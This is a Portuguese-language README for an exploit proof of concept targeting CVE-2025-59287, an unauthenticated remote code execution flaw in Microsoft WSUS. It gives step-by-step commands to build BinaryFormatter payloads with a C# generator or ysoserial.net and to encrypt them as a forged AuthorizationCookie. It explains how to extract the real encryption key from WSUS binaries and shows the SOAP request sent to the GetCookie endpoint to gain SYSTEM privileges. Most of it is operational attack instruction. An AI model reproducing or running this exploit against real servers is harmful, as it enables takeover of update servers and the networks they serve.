
Prova de conceito de exploit para CVE-2025-59287, uma RCE crítica não autenticada no WSUS via desserialização insegura de BinaryFormatter, alcançando privilégios de SYSTEM por meio de cookies criptografados elaborados.
CVE-2025-59287 é uma vulnerabilidade crítica de Execução Remota de Código (RCE) no Microsoft Windows Server Update Services (WSUS). A vulnerabilidade é causada pela desserialização insegura de dados AuthorizationCookie através do BinaryFormatter no método EncryptionHelper.DecryptData().
Impacto: Atacantes não autenticados podem alcançar execução remota de código com privilégios de SYSTEM enviando cookies criptografados maliciosos para o endpoint GetCookie().
Pontuação CVSS: Crítica (9.8)
BinaryFormatter.Deserialize() chamado em entrada não confiável sem validação adequada┌─────────────────┐
│ Atacante │
│ │
│ 1. Gerar │
│ Payload │
│ BinaryFmt │
│ │
│ 2. Criptografar│
│ Payload │
│ │
│ 3. Enviar │
│ Requisição │
│ SOAP │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Servidor WSUS │
│ │
│ Endpoint │
│ GetCookie() │
│ │
│ DecryptData() │◄─── Vulnerável
│ │
│ BinaryFormatter│◄─── Desserialização Insegura
│ Deserialize() │
│ │
│ Executar │◄─── RCE como SYSTEM
│ Payload │
└─────────────────┘
exploit-poc/
├── wsus_exploit.py # Script principal do exploit
├── BinaryFormatterPayloadGenerator.cs # Gerador de payload .NET (C#)
├── encrypt_payload.py # Auxiliar de criptografia WSUS
├── requirements.txt # Dependências Python
└── README.md # Este arquivo
pip install -r requirements.txt
ysoserial.net como alternativaOpção A: Usando o gerador C# fornecido
# Compilar o gerador
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs
# Gerar payload
BinaryFormatterPayloadGenerator.exe calc.exe
# Cria: payload_YYYYMMDDHHMMSS.bin
Opção B: Usando ysoserial.net (Recomendado)
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin
python encrypt_payload.py payload.bin -o encrypted_cookie.txt
IMPORTANTE: A chave de criptografia em encrypt_payload.py é um espaço reservado. Para exploração real, você deve:
encrypt_payload.py com a chave real# Usando arquivo de payload (criptografará em tempo real)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin
# Usando cookie pré-criptografado
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"
# Com HTTPS (porta 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin
# Gerar, criptografar e explorar de uma só vez
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <IP_ALVO> -f payload_*.bin
A chave de criptografia deve ser extraída dos binários WSUS para exploração real.
Localizar DLLs WSUS:
%ProgramFiles%\Update Services\WebServices\bin\
Ou diretório web IIS:
%SystemDrive%\inetpub\wwwroot\wsusadmin\
Abrir no dnSpy (decompilador .NET gratuito):
Microsoft.UpdateServices.WebServices.dllProcurar por EncryptionHelper:
Microsoft.UpdateServices.WebServicesEncryptionHelperDecryptData() e EncryptData()Padrões comuns:
Usar WinDbg ou x64dbg:
EncryptionHelper.DecryptData()Usar Process Monitor:
Usar IDA Pro ou Ghidra:
Usar utilitário strings:
strings Microsoft.UpdateServices.WebServices.dll | grep -i key
strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
Depois de obter a chave real, atualize encrypt_payload.py:
# Substitua esta linha em encrypt_wsus_cookie():
key_material = b"WSUS_Cookie_Encryption_Key_v1.0" # ESPAÇO RESERVADO
# Pela chave real:
key_material = b"CHAVE_REAL_DOS_BINARIOS_WSUS"
Ou passe via linha de comando:
python encrypt_payload.py payload.bin -k "CHAVE_REAL"
┌─────────────────────────────────────────────────────────────┐
│ 1. Gerar Payload BinaryFormatter │
│ ObjectDataProvider → Process.Start() → Execução de Comando│
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 2. Criptografar Payload │
│ AES-128-CBC com chave de criptografia WSUS │
│ Codificação Base64 para transmissão │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 3. Criar Requisição SOAP │
│ Cabeçalho AuthorizationCookie contém payload criptografado│
│ Método GetCookie() no corpo SOAP │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 4. Enviar para Endpoint WSUS │
│ POST /ClientWebService/ClientWebService.asmx │
│ Porta 8530 (HTTP) ou 8531 (HTTPS) │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 5. Processamento WSUS │
│ DecryptData() descriptografa o cookie │
│ BinaryFormatter.Deserialize() executa o payload │
│ → RCE como SYSTEM │
└─────────────────────────────────────────────────────────────┘
POST /ClientWebService/ClientWebService.asmx HTTP/1.1
Host: <ALVO>:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
User-Agent: WSUS Client